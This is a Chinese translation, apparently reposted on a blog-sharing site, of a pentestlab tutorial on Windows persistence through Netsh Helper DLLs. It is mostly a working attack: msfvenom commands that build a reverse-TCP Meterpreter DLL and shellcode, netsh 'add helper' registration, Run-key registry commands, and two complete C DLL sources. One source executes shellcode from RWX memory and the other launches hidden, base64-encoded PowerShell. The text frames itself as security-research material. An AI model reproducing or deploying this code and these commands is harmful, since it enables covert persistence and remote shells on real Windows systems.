首页 > 其他分享 >Window权限维持(十):Netsh Helper DLL

Window权限维持(十):Netsh Helper DLL

时间:2023-05-22 13:01:46浏览次数:46  
标签:netsh Helper Windows xff x48 DLL Netsh


Netsh是Windows实用程序,管理员可以使用它来执行与系统的网络配置有关的任务,并在基于主机的Windows防火墙上进行修改。可以通过使用DLL文件来扩展Netsh功能。此功能使红队可以使用此工具来加载任意DLL,以实现代码执行并因此实现持久性。但是,此技术的实现需要本地管理员级别的特权。

可以通过Metasploit Framework 的“ msfvenom ”实用程序生成任意DLL文件。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.2.21 LPORT=4444 -f dll > /tmp/pentestlab.dll


Window权限维持(十):Netsh Helper DLL_PowerShell

 生成恶意DLL

可以通过Meterpreter的上载功能或命令和控制(C2)支持的任何其他文件传输功能将DLL文件传输到目标主机。


Window权限维持(十):Netsh Helper DLL_实用程序_02

 上载恶意DLL

“添加帮手”可以用来注册用的DLL “netsh的 ”实用工具。

netsh
add helper path-to-malicious-dll


Window权限维持(十):Netsh Helper DLL_PowerShell_03

 添加助手DLL

每次netsh实用程序启动时,都会执行DLL,并且将建立通信。


Window权限维持(十):Netsh Helper DLL_PowerShell_04

 Netsh Helper DLL – Meterpreter

但是,默认情况下,netsh没有计划自动启动。创建将在Windows启动期间执行实用程序的注册表项将在主机上创建持久性。这可以直接从Meterpreter会话或Windows Shell中完成。

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Pentestlab /t REG_SZ /d "C:\Windows\SysWOW64\netsh"
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run\\ -v pentestlab -d 'C:\Windows\SysWOW64\netsh'


Window权限维持(十):Netsh Helper DLL_Windows_05

 创建注册表运行密钥

注册表运行键的替代方法是,可以使用多种其他方法来启动实用程序,例如创建服务或计划任务。

击败一家总部位于荷兰的IT安全公司,该公司率先在其Github存储库中发布概念证明DLL 。DLL是由Marc Smeets用C编写的,可以对其进行修改以包含自定义的shellcode。Metasploit Framework实用程序“ msfvenom ”可用于生成各种语言的shellcode。

msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp -b '\x00' -f c


Window权限维持(十):Netsh Helper DLL_PowerShell_06

 C Shellcode – Netsh

可以将生成的shellcode注入到Netsh Helper DLL代码中。

#include <stdio.h>
#include <windows.h> // only required if you want to pop calc

#ifdef _M_X64
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
#else
unsigned char buf[] = "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb";
#endif

// Start a separate thread so netsh remains useful.
DWORD WINAPI ThreadFunction(LPVOID lpParameter)
{
    LPVOID newMemory;
    HANDLE currentProcess;
    SIZE_T bytesWritten;
    BOOL didWeCopy = FALSE;
    // Get the current process handle 
    currentProcess = GetCurrentProcess();
    // Allocate memory with Read+Write+Execute permissions 
    newMemory = VirtualAllocEx(currentProcess, NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (newMemory == NULL)
        return -1;
    // Copy the shellcode into the memory we just created 
    didWeCopy = WriteProcessMemory(currentProcess, newMemory, (LPCVOID)&buf, sizeof(buf), &bytesWritten);
    if (!didWeCopy)
        return -2;
    // Yay! Let's run our shellcode! 
    ((void(*)())newMemory)();
    return 1;
}

// define the DLL handler 'InitHelpderDll' as required by netsh.
// See https://msdn.microsoft.com/en-us/library/windows/desktop/ms708327(v=vs.85).aspx
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
{
    //make a thread handler, start the function as a thread, and close the handler 
    HANDLE threadHandle;
    threadHandle = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL);
    CloseHandle(threadHandle);
    // simple testing by starting calculator
    system ("start calc");

    // return NO_ERROR is required. Here we are doing it the nasty way
    return 0;
}


Window权限维持(十):Netsh Helper DLL_PowerShell_07

 Netsh帮助程序DLL

与上述方法类似,rtcrowley在他的Github存储库中发布了该方法的PowerShell版本。以下代码可用于执行PowerShell Base64编码的有效负载,并支持两个选项。

#include <stdio.h>
#include <windows.h>

DWORD WINAPI YahSure(LPVOID lpParameter)
{
    //Option 1: Quick and simple. Opens 1 PS proc & briefly displays window. Set payload to b64 unicode.
    system("start C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -win hidden -nonI -nopro -enc \
                SQBmACgAJABQAFMAVgBlAHIAcwBJAE8AbgBUAEEAQgBsAGUALgBQAFMAVgBFAFIAcwBpAG8ATgAuACYAIAAkAFIAIAAkAGQAYQB0AGEAIAAoACQASQBWACsAJABLACkAKQB8AEkARQBYAA==");

    //Option 2: Execute loaded b64 into a reg key value. Will spin up a few etra procs, but will not open an extra window.
    //system("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -c \
            $x=((gp HKLM:SOFTWARE\\Microsoft\\Notepad debug).debug); \
                powershell -nopro -enc $x 2> nul");
    return 1;

}

//Custom netsh helper format
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved)
{
    HANDLE hand;
    hand = CreateThread(NULL, 0, YahSure, NULL, 0, NULL);
    CloseHandle(hand);

    return NO_ERROR;
}


Window权限维持(十):Netsh Helper DLL_PowerShell_08

 Netsh Helper DLL – PowerShell方法

执行“ netsh ”实用程序并使用“ add helper ”命令加载系统中的两个DLL都将执行集成的有效负载。

netsh
add helper C:\Users\pentestlab\Desktop\NetshHelperBeacon.dll
add helper C:\Users\pentestlab\Desktop\NetshPowerShell.dll


Window权限维持(十):Netsh Helper DLL_实用程序_09

 Netsh助手DLL

Empire和Metasploit的“ multi / handler ”模块可用于接收来自两个DLL的通信。


Window权限维持(十):Netsh Helper DLL_PowerShell_10

Netsh助手DLL PowerShell


Window权限维持(十):Netsh Helper DLL_PowerShell_11

 Netsh助手DLL Meterpreter

当执行“ 添加帮助程序 ”命令以加载DLL文件时,将在以下位置创建注册表项。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh


Window权限维持(十):Netsh Helper DLL_PowerShell_12

 Netsh注册表项

应该注意的是,某些可能安装在受感染系统上的VPN客户端可能会自动“ netsh ” 启动,因此可能不需要使用其他方法进行持久化。

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/

标签:netsh,Helper,Windows,xff,x48,DLL,Netsh
From: https://blog.51cto.com/bypass/6323111

相关文章

  • C++中动态和静态库(dll) 使用(转)
    目录:1.lib与dll介绍2.动态库的生成与使用3.静态库的生成与使用 1.首先介绍下静态库(静态链接库,.lib文件),动态库*(动态链接库,.dll文件)的概念,两者都是代码共享的方式.静态链接:静态链接是指在编译的时候就把模块的内容加载进来一起编译,这样编出来的exe文件包含了模块......
  • Natasha 插件化之dll
    调用外部dll来实现组件化场景有一个设备管理控制系统,主要作用是控制设备及收集相关设备的信息,目前只集成了门禁和监控,后期期望添加更多设备时,一般都是在公司编写完后现场实施并调试,代码一般也是每个设备创建独立的项目,供总项目调用;慢慢的可能会演变出所有设备都继承一个公共的......
  • dll防止卸载,以及阻止crt释放,等
    部分dll有时需要在进程中永久有效,如hook,正常的dll在程序退出时会释放dll,然后导致dll中的对象被释放(CRT清理)跟踪源码,可以看到在__DllMainCRTStartup中有调用_CRT_INIT释放资源,中间不可控,但是有一个异常捕获,尝试生成一个异常,但是简单异常的过滤条件无法满足改......
  • PLSQL Developer 无法找到OCI dll
    运行PL/SQLDeveloper14(64bit)时,提示 Initializationerror 无法找到OCI.dll OracleHomeKey:OracleHomeDir: 解决方式: 1、从oracle 官方网站下载数据库瘦客户端链接工具   instantclient-basic-windows.x64-21.9.0.0.0dbru.zip  ,解压在“D:\instantclien......
  • 资源文件:获取 EXE、DLL 或 ICO 文件中的图标
    //声明:ExtractIcon( hInst:HINST;     {调用函数的程序实例} lpszExeFileName:PChar;{文件路径;文件可以是*.exe、*.dll、*.ico} nIconIndex:UINT    {图标索引}):HICON;{返回图标句柄;索引为0时返回第一个图标句柄;索引为#FFFFFFFF......
  • ShardingSphere + Pagehelper 组合sql查询中包含 DISTINCT GROUP BY 等关键字和聚合函
    Pagehelper中配置说明params:为了支持startPage(Objectparams)方法,增加了该参数来配置参数映射,用于从对象中根据属性名取值,可以配置 pageNum,pageSize,count,pageSizeZero,reasonable,不配置映射的用默认值,默认值为pageNum=pageNum;pageSize=pageSize;count=countSql;r......
  • 使用notepad++查看DLL位数
    简便方法:直接用记事本或者notepad++打开exe文件(dll文件),会有很多乱码,不要头疼,接下来只需要在第二段中找到PE两个字母,在其后的不远出会出现d?或者L。若是d,则证明该程序是64位;若是L,则证明是32位。翻译搜索复制......
  • SSM中使用Mybatis的PageHelper插件实现分页
    效果实现前言前面实现SSM整合以及实现原始手动分页参考添加jar包使用插件首先要先加载jar包将两个jar包,放到项目下的lib目录下。修改applicationContext.xml在sqlsession下增加<propertyname="plugins"><array><beanclass="com.github.pagehelper.Pa......
  • http yolov5 tensorrt C++ windows 客户端服务器高性能部署,使用tensorrt推理yolov5模
    httpyolov5tensorrtC++windows客户端服务器高性能部署,使用tensorrt推理yolov5模型,封装成了dll;http服务器,监听指定端口、调用dll加载模型到内存(可同时支持多个模型同时加载并行运行)同时监听指定http指定路径是否有请求,收到请求后解析json数据中数据,从中解析出识别指定模型类......
  • Qt ffmpeg yolov5 tensorrt 高性能部署,使用tensorrt推理yolov5模型,封装成了dll, 支
    Qtffmpegyolov5tensorrt高性能部署,使用tensorrt推理yolov5模型,封装成了dll,支持多窗口多线程推理,本项目为4窗口版,各个窗口支持识别类别,阈值,roi区域等设置。算法支持onnxruntime,tensorrt推理,以及推理加deepsort,bytetrack和kcf多目标跟踪。ID:353200676908443403......